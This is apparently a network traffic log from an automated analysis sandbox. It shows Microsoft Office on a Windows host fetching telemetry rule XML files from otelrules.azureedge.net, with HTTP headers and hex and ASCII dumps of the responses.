2024-10-26 11:46:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.9	49830	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:12 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:12 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: dfdc7019-701e-000d-68f4-246de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114612Z-15b8d89586ffsjj9qb0gmb1stn000000067g000000001892 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.9	49833	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:12 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: baa41b4f-401e-00ac-2c28-210a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114612Z-16849878b785jrf8dn0d2rczaw000000032000000000cr9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.9	49832	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:13 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:13 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: e014a2e3-501e-0035-060b-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114613Z-16849878b785dznd7xpawq9gcn000000038g00000000dqge x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.9	49834	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:13 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 28718399-201e-0003-7628-26f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114613Z-r197bdfb6b4d9xksru4x6qbqr000000001yg000000004kxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.9	49835	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:13 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 5ece5f0b-101e-0028-1a52-268f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114613Z-r197bdfb6b4b4pw6nr8czsrctg00000002p0000000003ct6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.9	49836	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:13 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 5437d72c-801e-002a-238c-2731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114613Z-17c5cb586f6wnfhvhw6gvetfh400000001a00000000093xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.9	49837	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:13 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:13 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: de9069e7-601e-0032-51dc-26eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114613Z-r197bdfb6b4d9xksru4x6qbqr000000001y0000000004stg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.9	49838	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:13 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:14 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114613Z-16849878b78bjkl8dpep89pbgg00000000s0000000002s9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:46:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.9	49839	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:14 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:14 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:14 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 44e5e715-301e-001f-6416-24aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114614Z-15b8d89586fx2hlt035xdehq580000000hug0000000026b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:14 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.9	49840	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:14 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:14 UTC	591	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:14 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: da7651ab-201e-000c-4365-2779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114614Z-r197bdfb6b4qbfppwgs4nqza8000000000ng000000002f5n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-26 11:46:14 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.9	49841	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:14 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:14 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:14 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114614Z-16849878b782d4lwcu6h6gmxnw00000001q000000000579a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:14 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 